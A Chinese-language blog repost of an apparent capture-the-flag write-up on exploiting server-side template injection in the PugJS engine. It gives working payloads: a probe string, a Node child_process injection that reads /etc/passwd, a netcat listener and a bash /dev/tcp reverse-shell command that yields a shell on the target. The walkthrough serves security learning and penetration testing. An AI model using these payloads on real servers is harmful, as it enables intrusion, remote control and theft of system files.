0125.利用PugJS服务器端模板注入进行远程Shell访问

admin 2026-01-30 17:46:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍PugJS模板引擎中服务器端模板注入漏洞的利用方法。攻击者通过识别Pug特定语法确认注入点,利用JavaScript执行能力构造payload,首先验证代码执行成功,然后通过child_process模块执行系统命令,最终建立反向shell获取服务器控制权。文章演示了从模板注入到完整服务器入侵的完整攻击链,强调了输入验证和模板沙箱化的重要性。 综合评分: 76 文章分类: 漏洞分析,WEB安全,渗透测试,内网渗透,漏洞POC


cover_image

0125.利用 PugJS 服务器端模板注入进行远程 Shell 访问

原创

Bash Overflow Bash Overflow

Rsec

2026年1月30日 11:06 贵州

本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

声明:本文搬运自互联网,如你是原作者,请联系我们!

类型:模板注入

利用 PugJS 服务器端模板注入进行远程 Shell 访问

概述

服务器端模板注入 (SSTI) 是一种漏洞,其中用户控制的输入直接嵌入到服务器端模板中并作为代码执行。

Pug.js(原名 Jade)是 Node.js 生态系统中流行的模板引擎。它提供富有表现力的语法、嵌入式 JavaScript 执行以及对运行时对象的直接访问。这些特性对开发者来说很方便,但如果用户输入渲染时没有严格区分数据和逻辑,则会带来风险。

漏洞背景

攻击面是一个使用 Pug 模板渲染用户输入的 Web 应用程序。一个细微的线索确定了所使用的模板引擎。通过测试模板执行原语,确定了注入点,并将攻击从算术执行升级到任意 JavaScript 执行,最终利用该注入点对服务器发起反向 shell 攻击。

#

确认 PugJS SSTI

  • 首次访问时,该应用程序提供了一个功能,可以将 Pug 模板转换为渲染后的 HTML 输出。

  • 我首先使用 HTML <p> 标签内的多语言有效载荷测试通用模板注入:
${{<%[%'"}}%\.

  • 服务器响应的方式是将有效负载渲染为 <p> 元素内的原始 HTML,而没有进行任何执行。这表明输入内容已被反映,但在此上下文中并未执行。

  • 接下来,我修改了注入点,将标准 HTML 标签 ( p ) 改为 Pug 特有的标识符 ( # )。

  • 这一变化导致服务器抛出模板渲染错误,表明输入现在影响的是 Pug 编译过程,而不是普通的 HTML 输出。

  • 为了验证服务器端评估结果,我测试了一个简单的 Pug 插值有效载荷:
#{7*7}
![](https://mmbiz.qpic.cn/mmbiz_png/yKTOKd3ibs99UGPEkCkS9fTicnf8yG6czwstic2icObCTXZZpkIQvZCGC1cokf5s6zWBs0ibxOrLlnjZpmcpvtibZn6w/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=6)
  • 正如预期的那样,服务器评估了表达式并返回了结果 49 这证实了 Pug 模板上下文中存在有效的 SSTI 注入点。

Shell 访问

  • 确认存在 SSTI 漏洞后,我搜索了 PugJS 特有的漏洞利用技术,并参考了 HackTricks 的 SSTI 文档:

  • “` https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html

* 我尝试执行一个旨在读取用户帐户信息的有效载荷。

{function(){localLoad=global.process.mainModule.constructor.load;sh=localLoad(“childprocess”).exec(‘cat /etc/passwd’)}()}

![](https://mmbiz.qpic.cn/mmbiz_png/yKTOKd3ibs99UGPEkCkS9fTicnf8yG6czwzwolMtiaKdv2tP6yia44YDSaIibiczxRqOniaFrJTmppQhQ1zpB0swHjaWw/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=8)

* 服务器返回&nbsp;`<undefined>`&nbsp;,表明直接执行命令没有在渲染的模板中产生可见的输出。

![](https://mmbiz.qpic.cn/mmbiz_png/yKTOKd3ibs99UGPEkCkS9fTicnf8yG6czw2Uk9o0WWwUXKPJ76IL93QtwPB81wUEhhccUQtok2FVy0457cibEiaD8A/640?wx_fmt=png&from=appmsg#imgIndex=9)

* 我没有依赖内联命令输出,而是在攻击者机器上启动了一个本地 HTTP 监听器:

$ python3 -m http.server 8000

* 我从目标端触发了一个&nbsp;`curl`&nbsp;请求,以验证出站连接。

![](https://mmbiz.qpic.cn/mmbiz_png/yKTOKd3ibs99UGPEkCkS9fTicnf8yG6czwwHDNfxAibRMlrFz1PY3iab1UNdMXdgf9O3dgnLBX0X92whQasuQDA5lg/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=10)

* 目标服务器已成功连接回我的 Kali 机器。

![](https://mmbiz.qpic.cn/mmbiz_png/yKTOKd3ibs99UGPEkCkS9fTicnf8yG6czwuyRuPvvdSuusktkUqEsMMM5pmZ9Q6wCwtLlgmL6HWaw8Axp83snsGw/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=11)

* 基于此,我在 8888 端口上准备了一个反向 shell 监听器:

$ rlwrap nc -klnvp 8888

* 我修改了 SSTI 有效载荷以执行反向 shell。

{function(){localLoad=global.process.mainModule.constructor.load;sh=localLoad(“childprocess”).exec(‘bash -c “/bin/bash -i >& /dev/tcp//8888 0>&1″‘)}()}

“`

  • 有效载荷执行成功,我在目标服务器上获得了具有用户级权限的交互式 shell。

  • 从 shell 中,我枚举了文件系统,并找到了 flag 并读取了它。

  • 本次评估表明,当用户输入未经适当清理就被渲染时,服务器端模板注入(SSTI)的危害性极大。即使初始访问权限仅限于低权限用户,SSTI 也可能成为攻击者深入入侵的可靠入口,并对应用程序及其底层基础架构造成潜在的严重影响。

参考

  • 三卤甲烷
  • 黑客技巧

📢 喜欢这篇文章吗?保持联系! 如果您觉得这篇文章对您有所帮助或启发,请考虑关注我以获取更多内容:

  • 📖 Medium: bashoverflow.medium.com
  • 🐦 Twitter / X: @_havij
  • Github: havij13
  • ☕ 咖啡: Ko-fi

🙏感谢您的支持。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Rsec Bash Overflow Bash Overflow《0125.利用 PugJS 服务器端模板注入进行远程 Shell 访问》

评论:0   参与:  0